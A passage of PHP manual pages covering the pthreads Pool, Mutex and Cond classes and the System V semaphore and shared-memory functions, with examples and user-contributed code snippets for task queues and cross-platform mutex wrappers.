        echo "working context {$worker_id} is created!\n";
        //$this->say_config();    // globally synchronized function.
    }
    protected function say_config(){    // 'protected' is synchronized by-object so WON'T work between multiple instances
        global $config;        // you can use the shared $config object as synchronization source.
        $config->synchronized(function() use (&$config){    // NOTE: you can use Closures here, but if you attach a Closure to a Threaded object it will be destroyed as can't be serialized
            var_dump($config);
        });
    }
}
class Task extends Stackable{    // Stackable still exists, it's just somehow dissappeared from docs (probably by mistake). See older version's docs for more details.
    protected $set;
    public function __construct($set){
        $this->set = $set;
    }
    public function run(){
        global $worker_id;
        echo "task is running in {$worker_id}!\n";
        usleep(mt_rand(1,100)*100);
        $config = $this->getConfig();
        $val = $config->arr->shift();
        $config->arr[] = $this->set;
        for ($i = 0 ; $i < 1000; ++$i){
            $config->inc();
            $config->inc2();
        }
    }
    public function getConfig(){
        global $config;    // WorkerClass set this on thread's scope, can be reused by Tasks for additional asynch data source. (ie: connection pool or taskqueue to demultiplexer)
        return $config;
    }
}

$config = new Config;
$config->arr = new \Threaded();
$config->arr->merge(array(1,2,3,4,5,6));
class PoolClass extends Pool{
    public function worker_list(){
        if ($this->workers !== null)
            return array_keys($this->workers);
        return null;
    }
}
$pool = new PoolClass(3, 'WorkerClass', [$config] );
$pool->worker_list();
//$pool->submitTo(0,new Task(-10));    // submitTo DOES NOT try to create worker

$spammed_id = -1;
for ($i = 1; $i <= 100; ++$i){    // add some jobs
    if ($spammed_id == -1 && ($x = $pool->worker_list())!= null && @$x[2]){
        $spammed_id = $x[2];
        echo "spamming worker {$spammed_id} with lots of tasks from now on\n";
    }
    if ($spammed_id != -1 && ($i % 5) == 0)    // every 5th job is routed to one worker, so it has 20% of the total jobs (with 3 workers it should do ~33%, not it has (33+20)%, so only delegate to worker if you plan to do balancing as well... )
        $pool->submitTo($spammed_id,new Task(10*$i));
    else
        $pool->submit(new Task(10*$i));
}
$pool->shutdown();
var_dump($config); // "val" is exactly 100000, "val2" is probably a bit less
// also: if you disable the spammer, you'll that the order of the "arr" is random.
?>


Collect references to completed tasks

  • « Pool
  • Pool::__construct »
  • PHP Manual
  • Pool
  • Collect references to completed tasks

Pool::collect

(PECL pthreads >= 2.0.0)

Pool::collect — Collect references to completed tasks

Description

public void Pool::collect ( Callable $collector )

Allows the Pool to collect references determined to be garbage by the given collector

Parameters

collector

A Callable collector

Return Values

void

Examples

Example #1 Creating Pools

<?php
class MyWork extends Stackable {
    public function __construct() {
        $this->complete = false;
    }

    public function run() {
        printf(
            "Hello from %s in Thread #%lu\n",
            __CLASS__, $this->worker->getThreadId());
        $this->complete = true;
    }

    public function isComplete() {
        return $this->complete;
    }

    protected $complete;
}

class MyWorker extends Worker {

    public function __construct(Something $something) {
        $this->something = $something;
    }

    public function run() {
        /** ... **/
    }
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);
$pool->submit(new MyWork());

usleep(1000);

$pool->collect(function($work){
    return $work->isComplete();
});
var_dump($pool);
?>

The above example will output:

Hello from MyWork in Thread #140222468777728
object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  array(1) {
    [0]=>
    object(MyWorker)#4 (1) {
      ["something"]=>
      object(Something)#5 (0) {
      }
    }
  }
  ["work":protected]=>
  array(0) {
  }
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new Pool of Workers

  • « Pool::collect
  • Pool::resize »
  • PHP Manual
  • Pool
  • Creates a new Pool of Workers

Pool::__construct

(PECL pthreads >= 2.0.0)

Pool::__construct — Creates a new Pool of Workers

Description

public Pool Pool::__construct ( integer $size , string $class [, array $ctor ] )

Construct a new Pool of Workers

Parameters

size

The maximum number of Workers this Pool can create

class

The class for new Workers

ctor

An array of arguments to be passed to new Workers

Return Values

the new Pool

Examples

Example #1 Creating Pools

<?php
class MyWorker extends Worker {

    public function __construct(Something $something) {
        $this->something = $something;
    }

    public function run() {
        /** ... **/
    }
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);

var_dump($pool);
?>

The above example will output:

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  NULL
  ["work":protected]=>
  NULL
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Resize the Pool

  • « Pool::__construct
  • Pool::shutdown »
  • PHP Manual
  • Pool
  • Resize the Pool

Pool::resize

(PECL pthreads >= 2.0.0)

Pool::resize — Resize the Pool

Description

public void Pool::resize ( integer $size )

Resize the Pool

Parameters

size

The maximum number of Workers this Pool can create

Return Values

void

User Contributed Notes

There are no user contributed notes for this page.


Shutdown all Workers

  • « Pool::resize
  • Pool::submit »
  • PHP Manual
  • Pool
  • Shutdown all Workers

Pool::shutdown

(PECL pthreads >= 2.0.0)

Pool::shutdown — Shutdown all Workers

Description

public void Pool::shutdown ( void )

Shutdown the Workers in this Pool

Return Values

void

User Contributed Notes

There are no user contributed notes for this page.


Submits an object for execution

  • « Pool::shutdown
  • Pool::submitTo »
  • PHP Manual
  • Pool
  • Submits an object for execution

Pool::submit

(PECL pthreads >= 2.0.0)

Pool::submit — Submits an object for execution

Description

public integer Pool::submit ( Threaded $task )

Submit the task to the next Worker in the Pool

Parameters

size

The task for execution

Return Values

the identifier of the Worker executing the object

Examples

Example #1 Submitting Tasks

<?php
class MyWork extends Threaded {

    public function run() {
        /* ... */
    }
}

class MyWorker extends Worker {

    public function __construct(Something $something) {
        $this->something = $something;
    }

    public function run() {
        /** ... **/
    }
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);
$pool->submit(new MyWork());
var_dump($pool);
?>

The above example will output:

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  array(1) {
    [0]=>
    object(MyWorker)#4 (1) {
      ["something"]=>
      object(Something)#5 (0) {
      }
    }
  }
  ["work":protected]=>
  array(1) {
    [0]=>
    object(MyWork)#3 (1) {
      ["worker"]=>
      object(MyWorker)#5 (1) {
        ["something"]=>
        object(Something)#6 (0) {
        }
      }
    }
  }
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Submits an object for execution

  • « Pool::submit
  • Mutex »
  • PHP Manual
  • Pool
  • Submits an object for execution

Pool::submitTo

(PECL pthreads >= 2.0.0)

Pool::submitTo — Submits an object for execution

Description

public integer Pool::submitTo ( integer $worker , Threaded $task )

Submit the object to the specified Worker in the Pool

Parameters

worker

The worker for execution

size

The task for execution

Return Values

the identifier of the Worker that accepted the object

Examples

Example #1 Submitting Tasks

<?php
class MyWork extends Threaded {

    public function run() {
        /* ... */
    }
}

class MyWorker extends Worker {

    public function __construct(Something $something) {
        $this->something = $something;
    }

    public function run() {
        /** ... **/
    }
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);
$pool->submit(new MyWork());
var_dump($pool);
?>

The above example will output:

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  array(1) {
    [0]=>
    object(MyWorker)#4 (1) {
      ["something"]=>
      object(Something)#5 (0) {
      }
    }
  }
  ["work":protected]=>
  array(1) {
    [0]=>
    object(MyWork)#3 (1) {
      ["worker"]=>
      object(MyWorker)#5 (1) {
        ["something"]=>
        object(Something)#6 (0) {
        }
      }
    }
  }
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


The Mutex class

(PECL pthreads >= 2.0.0)

Introduction

The static methods contained in the Mutex class provide direct access to Posix Mutex functionality.

Class synopsis

Mutex {
/* Methods */
final public static long create ([ boolean $lock ] )
final public static boolean destroy ( long $mutex )
final public static boolean lock ( long $mutex )
final public static boolean trylock ( long $mutex )
final public static boolean unlock ( long $mutex [, boolean $destroy ] )
}

Table of Contents

  • Mutex::create — Create a Mutex
  • Mutex::destroy — Destroy Mutex
  • Mutex::lock — Acquire Mutex
  • Mutex::trylock — Attempt to Acquire Mutex
  • Mutex::unlock — Release Mutex

User Contributed Notes

There are no user contributed notes for this page.


Create a Mutex

  • « Mutex
  • Mutex::destroy »
  • PHP Manual
  • Mutex
  • Create a Mutex

Mutex::create

(PECL pthreads >= 2.0.0)

Mutex::create — Create a Mutex

Description

final public static long Mutex::create ([ boolean $lock ] )

Create, and optionally lock a new Mutex for the caller

Parameters

lock

Setting lock to true will lock the Mutex for the caller before returning the handle

Return Values

A newly created and optionally locked Mutex handle

Examples

Example #1 Mutex Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You have the physical address of the Mutex **/
var_dump($mutex);
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

The above example will output:

int(40096976)

User Contributed Notes

There are no user contributed notes for this page.


Destroy Mutex

  • « Mutex::create
  • Mutex::lock »
  • PHP Manual
  • Mutex
  • Destroy Mutex

Mutex::destroy

(PECL pthreads >= 2.0.0)

Mutex::destroy — Destroy Mutex

Description

final public static boolean Mutex::destroy ( long $mutex )

Destroying Mutex handles must be carried out explicitly by the programmer when they are finished with the Mutex handle.

Parameters

mutex

A handle returned by a previous call to Mutex::create(). The handle should not be locked by any Thread when Mutex::destroy() is called.

Return Values

A boolean indication of success

Examples

Example #1 Mutex Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You have the physical address of the Mutex **/
var_dump($mutex);
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

The above example will output:

int(40096976)

User Contributed Notes

There are no user contributed notes for this page.


Acquire Mutex

  • « Mutex::destroy
  • Mutex::trylock »
  • PHP Manual
  • Mutex
  • Acquire Mutex

Mutex::lock

(PECL pthreads >= 2.0.0)

Mutex::lock — Acquire Mutex

Description

final public static boolean Mutex::lock ( long $mutex )

Attempt to lock the Mutex for the caller.

An attempt to lock a Mutex owned (locked) by another Thread will result in blocking.

Parameters

mutex

A handle returned by a previous call to Mutex::create().

Return Values

A boolean indication of success.

Examples

Example #1 Mutex Locking and Unlocking

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You can now lock the mutex in any context **/
var_dump(Mutex::lock($mutex));
/** It is invalid to attempt to destroy a locked Mutex **/
var_dump(Mutex::unlock($mutex));
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

The above example will output:

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Attempt to Acquire Mutex

  • « Mutex::lock
  • Mutex::unlock »
  • PHP Manual
  • Mutex
  • Attempt to Acquire Mutex

Mutex::trylock

(PECL pthreads >= 2.0.0)

Mutex::trylock — Attempt to Acquire Mutex

Description

final public static boolean Mutex::trylock ( long $mutex )

Attempt to lock the Mutex for the caller without blocking if the Mutex is owned (locked) by another Thread.

Parameters

mutex

A handle returned by a previous call to Mutex::create().

Return Values

A boolean indication of success.

Examples

Example #1 Mutex Locking and Unlocking

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You can now try to lock the mutex in any context **/
var_dump(Mutex::trylock($mutex));
/** It is invalid to attempt to destroy a locked Mutex **/
var_dump(Mutex::unlock($mutex));
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

The above example will output:

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Release Mutex

  • « Mutex::trylock
  • Cond »
  • PHP Manual
  • Mutex
  • Release Mutex

Mutex::unlock

(PECL pthreads >= 2.0.0)

Mutex::unlock — Release Mutex

Description

final public static boolean Mutex::unlock ( long $mutex [, boolean $destroy ] )

Attempts to unlock the Mutex for the caller, optionally destroying the Mutex handle. The calling thread should own the Mutex at the time of the call.

Parameters

mutex

A handle returned by a previous call to Mutex::create().

destroy

When true pthreads will destroy the Mutex after a successful unlock.

Return Values

A boolean indication of success.

Examples

Example #1 Mutex Locking and Unlocking

<?php
/** You cannot use the "new" keyword, a Mutex is not a PHP object **/
$mutex = Mutex::create();
/** You can now lock the mutex in any context **/
var_dump(Mutex::lock($mutex));
/** It is invalid to attempt to destroy a locked Mutex **/
var_dump(Mutex::unlock($mutex));
/** Always destroy mutex you have created **/
Mutex::destroy($mutex);
?>

The above example will output:

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


The Cond class

(PECL pthreads >= 2.0.0)

Introduction

The static methods contained in the Cond class provide direct access to Posix Condition Variables.

Class synopsis

Cond {
/* Methods */
final public static boolean broadcast ( long $condition )
final public static long create ( void )
final public static boolean destroy ( long $condition )
final public static boolean signal ( long $condition )
final public static boolean wait ( long $condition , long $mutex [, long $timeout ] )
}

Table of Contents

  • Cond::broadcast — Broadcast a Condition
  • Cond::create — Create a Condition
  • Cond::destroy — Destroy a Condition
  • Cond::signal — Signal a Condition
  • Cond::wait — Wait for Condition

User Contributed Notes

jan 25-May-2013 10:11
As Cond (nor Mutex) is good for queuing tasks, and arrays/objects stored a "serialized" (can't use it as excepted for signals outside the run()) here is a simple task queue trait:
<?php
define('T',1000000);
trait TaskQueue{
    private $queue_len = 0;
    private $queue_pointer = 0;
    private $queue_curr = 0;
    protected function queueInit(){$this->queue_len = 0; $this->queue_pointer = 0; $this->queue_curr = 0;}
    protected function getNextQueued(){
        if ($this->queue_len == 0) return null;
        $p = $this->queue_curr;
        $x = 0;
        $ret = [];
        do{
            $key = "queue_func_{$p}";
            if ($this->$key){
                $ret['func'] = $this->$key;
                unset($this->$key);
                $key = "queue_params_{$p}";
                $prs = $this->$key;
                unset($this->$key);
                $ret['params'] = [];
                for ($i = 0; $i < $prs; $i++){
                    $key = "queue_param_{$p}_{$i}";
                    $ret['params'][] =  $this->$key;
                    unset($this->$key);
                }
                $this->queue_len--;
                $this->queue_curr++;
                return $ret;
            }
            else $p++;
            if ($x++ > 1000){   // the queue is corrupt
                echo "\n\t\t task queue is corrupt for ".get_called_class()."\n";
                $this->queue_len = 0;
                $this->queue_pointer = 0;
                return null;
            }
        }while(isset($this->$key));
        return null;

    }
    protected function addToQueue($func,$params = []){
        if (!is_array($params) || !@method_exists($this,$func)) return false;
        $p = $this->queue_pointer;
        $key = "queue_func_{$p}";
        $this->$key = $func;
        $key = "queue_params_{$p}";
        $this->$key = count($params);
        $i = 0;
        foreach ($params as $pa){
            $key = "queue_param_{$p}_{$i}";
            $this->$key = $pa;
            $i++;
        }
        $this->queue_pointer++;
        $this->queue_len++;
        return true;
    }
}

class A extends Thread{
    use TaskQueue;
    private $sig_term;
    public function __construct(){
        $this->cond = Cond::create();
        $this->sig_term = false;
        $this->queueInit(); // threads don't like default parameters
        $this->start();
    }

    public function run(){
        while(!$this->sig_term){
            while(($qi = $this->getNextQueued())){
                call_user_func_array([$this,$qi['func']],$qi['params']);
            }
            echo "now doing MAIN -- ";
            usleep(1*T);
            echo "finished MAIN\n";
        }
        Mutex::destroy($m);
    }

    private function reallyDoA($a){
        echo "doing A: {$a} -- ";
        usleep(0.7*T);
        echo "finished A\n";

    }
    public function doA($param1){
        $this->addToQueue('reallyDoA',[$param1]);
    }
    private function reallyDoB($a,$b){
        echo "doing B: {$a},{$b} -- ";
        usleep(0.1*T);
        echo "finished B\n";

    }
    public function doB($param1, $param2){
        $this->addToQueue('reallyDoB',[$param1,$param2]);
    }
    public function term(){$this->sig_term = true;}
}

$a = new A();
usleep(1.2*T);
$a->doA(2);
$a->doA(3);
$a->doB("now b","something");
usleep(5.4*T);
$a->doA(5);
$a->doA(7);

usleep(3*T);
$a->term();
$a->join();
?>
very useful if you need syncronization from an outside event (ie: async socket read/write - your run() takes care of reading with timeout / signalig on_packet events, but writing may occur at any time (ie async heartbeeting) and fwrite($sock) while stream_select($sock) is waiting for timeout causes segfaults...)


Broadcast a Condition

  • « Cond
  • Cond::create »
  • PHP Manual
  • Cond
  • Broadcast a Condition

Cond::broadcast

(PECL pthreads >= 2.0.0)

Cond::broadcast — Broadcast a Condition

Description

final public static boolean Cond::broadcast ( long $condition )

Broadcast to all Threads blocking on a call to Cond::wait().

Parameters

condition

A handle to a Condition Variable returned by a previous call to Cond::create()

Return Values

A boolean indication of success.

Examples

Example #1 Condition Broadcasting

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** The caller must lock the associated Mutex before a call to broadcast **/
var_dump(Cond::broadcast($cond));
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Create a Condition

  • « Cond::broadcast
  • Cond::destroy »
  • PHP Manual
  • Cond
  • Create a Condition

Cond::create

(PECL pthreads >= 2.0.0)

Cond::create — Create a Condition

Description

final public static long Cond::create ( void )

Creates a new Condition Variable for the caller.

Parameters

This function has no parameters.

Return Values

A handle to a Condition Variable

Examples

Example #1 Condition Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** You can now use the Cond in any context **/
var_dump($cond);
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

The above example will output:

int(4540682)

User Contributed Notes

There are no user contributed notes for this page.


Destroy a Condition

  • « Cond::create
  • Cond::signal »
  • PHP Manual
  • Cond
  • Destroy a Condition

Cond::destroy

(PECL pthreads >= 2.0.0)

Cond::destroy — Destroy a Condition

Description

final public static boolean Cond::destroy ( long $condition )

Destroying Condition Variable handles must be carried out explicitly by the programmer when they are finished with the Condition Variable. No Threads should be blocking on a call to Cond::wait() when the call to Cond::destroy() takes place.

Parameters

condition

A handle to a Condition Variable returned by a previous call to Cond::create()

Return Values

A boolean indication of success.

Examples

Example #1 Condition Creation and Destruction

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** You can now use the Cond in any context **/
var_dump($cond);
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

The above example will output:

int(4540682)

User Contributed Notes

There are no user contributed notes for this page.


Signal a Condition

  • « Cond::destroy
  • Cond::wait »
  • PHP Manual
  • Cond
  • Signal a Condition

Cond::signal

(PECL pthreads >= 2.0.0)

Cond::signal — Signal a Condition

Description

final public static boolean Cond::signal ( long $condition )

Parameters

condition

A handle returned by a previous call to Cond::create()

Return Values

A boolean indication of success.

Examples

Example #1 Condition Signalling

<?php
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** The caller must lock the associated Mutex before a call to broadcast **/
var_dump(Cond::signal($cond));
/** Always destroy Cond you have created **/
Cond::destroy($cond);
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Wait for Condition

  • « Cond::signal
  • Semaphore »
  • PHP Manual
  • Cond
  • Wait for Condition

Cond::wait

(PECL pthreads >= 2.0.0)

Cond::wait — Wait for Condition

Description

final public static boolean Cond::wait ( long $condition , long $mutex [, long $timeout ] )

Wait for a signal on a Condition Variable, optionally specifying a timeout to limit waiting time.

Parameters

condition

A handle returned by a previous call to Cond::create().

mutex

A handle returned by a previous call to Mutex::create() and owned (locked) by the caller.

timeout

An optional timeout, in microseconds ( millionths of a second ).

Return Values

A boolean indication of success.

Examples

Example #1 Waiting for Conditions

<?php
/** PLEASE NOTE THIS EXAMPLE WILL CAUSE THE PROCESS TO HANG **/
$mutex = Mutex::create(true);
/** You cannot use the "new" keyword, a Cond is not a PHP object **/
$cond = Cond::create();
/** The caller must lock the associated Mutex before a call to broadcast **/
var_dump(Cond::wait($cond, $mutex));
/** Always destroy Cond you have created **/
Cond::destroy($cond);
Mutex::unlock($mutex);
Mutex::destroy($mutex);
?>

The above example will output:

int(49685473)

User Contributed Notes

There are no user contributed notes for this page.


Semaphore, Shared Memory and IPC

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Semaphore Functions
    • ftok — Convert a pathname and a project identifier to a System V IPC key
    • msg_get_queue — Create or attach to a message queue
    • msg_queue_exists — Check whether a message queue exists
    • msg_receive — Receive a message from a message queue
    • msg_remove_queue — Destroy a message queue
    • msg_send — Send a message to a message queue
    • msg_set_queue — Set information in the message queue data structure
    • msg_stat_queue — Returns information from the message queue data structure
    • sem_acquire — Acquire a semaphore
    • sem_get — Get a semaphore id
    • sem_release — Release a semaphore
    • sem_remove — Remove a semaphore
    • shm_attach — Creates or open a shared memory segment
    • shm_detach — Disconnects from shared memory segment
    • shm_get_var — Returns a variable from shared memory
    • shm_has_var — Check whether a specific entry exists
    • shm_put_var — Inserts or updates a variable in shared memory
    • shm_remove_var — Removes a variable from shared memory
    • shm_remove — Removes shared memory from Unix systems

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module provides wrappers for the System V IPC family of functions. It includes semaphores, shared memory and inter-process messaging (IPC).

Semaphores may be used to provide exclusive access to resources on the current machine, or to limit the number of processes that may simultaneously use a resource.

This module provides also shared memory functions using System V shared memory. Shared memory may be used to provide access to global variables. Different httpd-daemons and even other programs (such as Perl, C, ...) are able to access this data to provide a global data-exchange. Remember, that shared memory is NOT safe against simultaneous access. Use semaphores for synchronization.

Limits of Shared Memory by the Unix OS
SHMMAX | max size of shared memory, normally 131072 bytes
SHMMIN | minimum size of shared memory, normally 1 byte
SHMMNI | max amount of shared memory segments on a system, normally 100
SHMSEG | max amount of shared memory segments per process, normally 6

The messaging functions may be used to send and receive messages to/from other processes. They provide a simple and effective means of exchanging data between processes, without the need for setting up an alternative using Unix domain sockets.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Support for this functions are not enabled by default. To enable System V semaphore support compile PHP with the option --enable-sysvsem . To enable the System V shared memory support compile PHP with the option --enable-sysvshm . To enable the System V messages support compile PHP with the option --enable-sysvmsg .

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Semaphore Configuration Options
Name | Default | Changeable | Changelog
sysvshm.init_mem | 10000 | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

sysvshm.init_mem int

A default size of the shared memory segment.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

System V message constants
Constant | Type | Changelog
MSG_IPC_NOWAIT | integer |
MSG_EAGAIN | integer | As of 5.2.0
MSG_ENOMSG | integer | As of 5.2.0
MSG_NOERROR | integer |
MSG_EXCEPT | integer |

User Contributed Notes

There are no user contributed notes for this page.


Semaphore Functions

Table of Contents

  • ftok — Convert a pathname and a project identifier to a System V IPC key
  • msg_get_queue — Create or attach to a message queue
  • msg_queue_exists — Check whether a message queue exists
  • msg_receive — Receive a message from a message queue
  • msg_remove_queue — Destroy a message queue
  • msg_send — Send a message to a message queue
  • msg_set_queue — Set information in the message queue data structure
  • msg_stat_queue — Returns information from the message queue data structure
  • sem_acquire — Acquire a semaphore
  • sem_get — Get a semaphore id
  • sem_release — Release a semaphore
  • sem_remove — Remove a semaphore
  • shm_attach — Creates or open a shared memory segment
  • shm_detach — Disconnects from shared memory segment
  • shm_get_var — Returns a variable from shared memory
  • shm_has_var — Check whether a specific entry exists
  • shm_put_var — Inserts or updates a variable in shared memory
  • shm_remove_var — Removes a variable from shared memory
  • shm_remove — Removes shared memory from Unix systems

User Contributed Notes

HansRich 01-Jul-2014 06:00
For shared memory needs, these functions are greatly outdated and inefficient.
They don't provide read/write locking and they use a single linked list for storing the variables, which means they have an average complexity of O(n/2) where n is the number of variables in the segment.

For a better alternative use APC Functions which implement proper read/write locking and use a hash table so they have good efficiency even for large amounts of variables:
http://php.net/manual/en/ref.apc.php
piosaw79 25-Jul-2011 11:36
I'm using this simple functions to mimic semaphores on Windows (with $max_acquire = 1):

<?php
if ( !function_exists('sem_get') ) {
    function sem_get($key) { return fopen(__FILE__.'.sem.'.$key, 'w+'); }
    function sem_acquire($sem_id) { return flock($sem_id, LOCK_EX); }
    function sem_release($sem_id) { return flock($sem_id, LOCK_UN); }
}
?>
mr dot smaon at gmail dot com 25-Jan-2007 06:08
Here is a simple Mutex class implementation, using semaphore on Linux and flock on windows.
Filename is optionnal, but you can provide it anyway. This way the file will be created on windows, not on linux as it is not needed.
It's fast written and certainly lacks error checking code.

<?php

    class Mutex
    {
        private $id;
        private $sem_id;
        private $is_acquired = false;
        private $is_windows = false;
        private $filename = '';
        private $filepointer;

        function __construct()
        {
            if(substr(PHP_OS, 0, 3) == 'WIN')
                $this->is_windows = true;
        }

        public function init($id, $filename = '')
        {
            $this->id = $id;

            if($this->is_windows)
            {
                if(empty($filename)){
                    print "no filename specified";
                    return false;
                }
                else
                    $this->filename = $filename;
            }
            else
            {
                if(!($this->sem_id = sem_get($this->id, 1))){
                    print "Error getting semaphore";
                    return false;
                }
            }

            return true;
        }

        public function acquire()
        {
            if($this->is_windows)
            {
                if(($this->filepointer = @fopen($this->filename, "w+")) == false)
                {
                    print "error opening mutex file<br>";
                    return false;
                }

                if(flock($this->filepointer, LOCK_EX) == false)
                {
                    print "error locking mutex file<br>";
                    return false;
                }
            }
            else
            {
                if (! sem_acquire($this->sem_id)){
                    print "error acquiring semaphore";
                    return false;
                }
            }

            $this->is_acquired = true;
            return true;
        }

        public function release()
        {
            if(!$this->is_acquired)
                return true;

            if($this->is_windows)
            {
                if(flock($this->filepointer, LOCK_UN) == false)
                {
                    print "error unlocking mutex file<br>";
                    return false;
                }

                fclose($this->filepointer);
            }
            else
            {
                if (! sem_release($this->sem_id)){
                    print "error releasing semaphore";
                    return false;
                }
            }

            $this->is_acquired = false;
            return true;
        }

        public function getId()
        {
            return $this->sem_id;
        }
    }

?>

Example use:

<?php

    $mutex = new Mutex();
    $mutex->init(1, "mutex_file.txt");
    $mutex->acquire();

    //Whatever you want single-threaded here...
    $mutex->release();

?>
hekkwan at gmail dot com 14-Nov-2006 03:15
I have been trying to get a php console script and a C application to use a common semaphore for a while. I just got it working, so I thought Id paste the code here incase anyone needs to do this, however, this is not the place for long code examples

I used c code from the php implementation to set up the semaphore set and then mimic the way the php interpreter implements a mutext type locking scheme, using a common semop call.

One has to do the process in the same way as its done in the php implementation, otherwise you run the risk of the php interpreter resetting the semaphore set for you.

The basic idea is.
1) sem_get - use a three semaphore set
1.1) increment the first sem
1.2) check the usage count (sem 3), if only one, set the max_attach using sem 2 for mutex behaviour to sem 3
2) decrement sem 1
3) for locking / unlocking use the first semaphore, but always call the above from your c-code.

If you want a copy of my code, email me and I'll happily send it to you !
chrissavery at removeme dot gmail dot com 02-Jun-2006 10:18
I was confused by two things that caused strange behaviour in my use of semaphores with php scripts running under apache.

Often enough page requests will end up being filled by the same process as other simultaneous requests. So semaphores will block when you may not have expected.

Also note that sem_remove() will remove it for all processes, not just the calling one. So you have to be sure that the last process running removes the semaphore and none before. I thought there was some failures occurring when my child processes were dropping out with errors.

So you can't just use get, acquire, release, remove in one script that will be hit by a web user. (1) They may end up in the same process and will wait on the other, and (2) the first one to finish will destroy the semaphore for others.

I left out the remove call, and it works ok, but I still wonder if the semaphore is removed by php when the last script that did a get finishes? Also creating a child process to do the work using proc_open works to ensure seperate processes but to be careful you would want to limit the number somehow as well.
Denis Gerasimov 02-Nov-2005 01:19
Many (most?) developers use Win32 platform for PHP Web applications development while production servers mostly run Unix/Linux OS. Below is the stub code I use to make it possible to write scripts on Win32 that use semaphores:

<?php

if (substr(PHP_OS, 0, 3) == 'WIN') {  // if Windows OS detected

    function ftok($pathname, $proj)
    {
        if (empty($pathname) || !file_exists($pathname)) {  // an error occured
            return -1;
        }

        $pathname = $pathname . (string) $proj;
        $key = array();
        while (sizeof($key) < strlen($pathname)) {
            $key[] = ord(substr($pathname, sizeof($key), 1));
        }

        return dechex(array_sum($key));
    }

    function sem_acquire($sem_identifier)
    {
        return true;
    }

    function sem_get($key, $max_acquire = null, $perm = null, $auto_release = null)
    {
        return true;
    }

    function sem_release($sem_identifier)
    {
        return true;
    }

    function sem_remove($sem_identifier)
    {
        return true;
    }

}

?>

Of course, there is no way to test semaphores until you have no Unix/Linux test server.
p4nzer at yahoo dot com 01-Nov-2005 02:55
Actually, the way to lock a semaphore from C code appears to be:
<?
    struct sembuf semptr[2];

    if( (semid = semget(SEM_KEY, PHP_SEM_NEED_NUMBER, 0666 | IPC_CREAT)) < 0 ) {
        perror("semget");
        return 1;
    }

    semptr[0].sem_num = 0;
    semptr[0].sem_op = -1;
    semptr[0].sem_flg = SEM_UNDO;
    semptr[1].sem_num = 1;
    semptr[1].sem_op =  1;
    semptr[1].sem_flg = SEM_UNDO;

    if( semop(semid, &semptr[0], 2) < 0 ) {
    perror("semop");
    }
?>

PS: Disregard the <? and ?>, it's just for pretty printing... this is C code!
hcuevas at galenicom dot com 23-Oct-2003 04:49
Don't use semaphores to serialize access to an undefined number of resources. There is no way (yet) to know before locking if a semaphore is already locked, thus not being able to fully release the semaphore and occupying a semaphore resource for an undefined time.

A possible solution is to build a shared mem pool and store there the current number of locks for a semaphore id.

Cheers,
Horaci Cuevas
Roman Laptev <tmp at laptev dot org> 02-Apr-2003 03:50
If you going to work with semaphore, which was created by some external program, you can try the following code for this program (C example):

#define SVSEM_MODE (SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6) /* 0644 */
#define PHP_SEM_NEED_NUMBER 3

/*.......*/
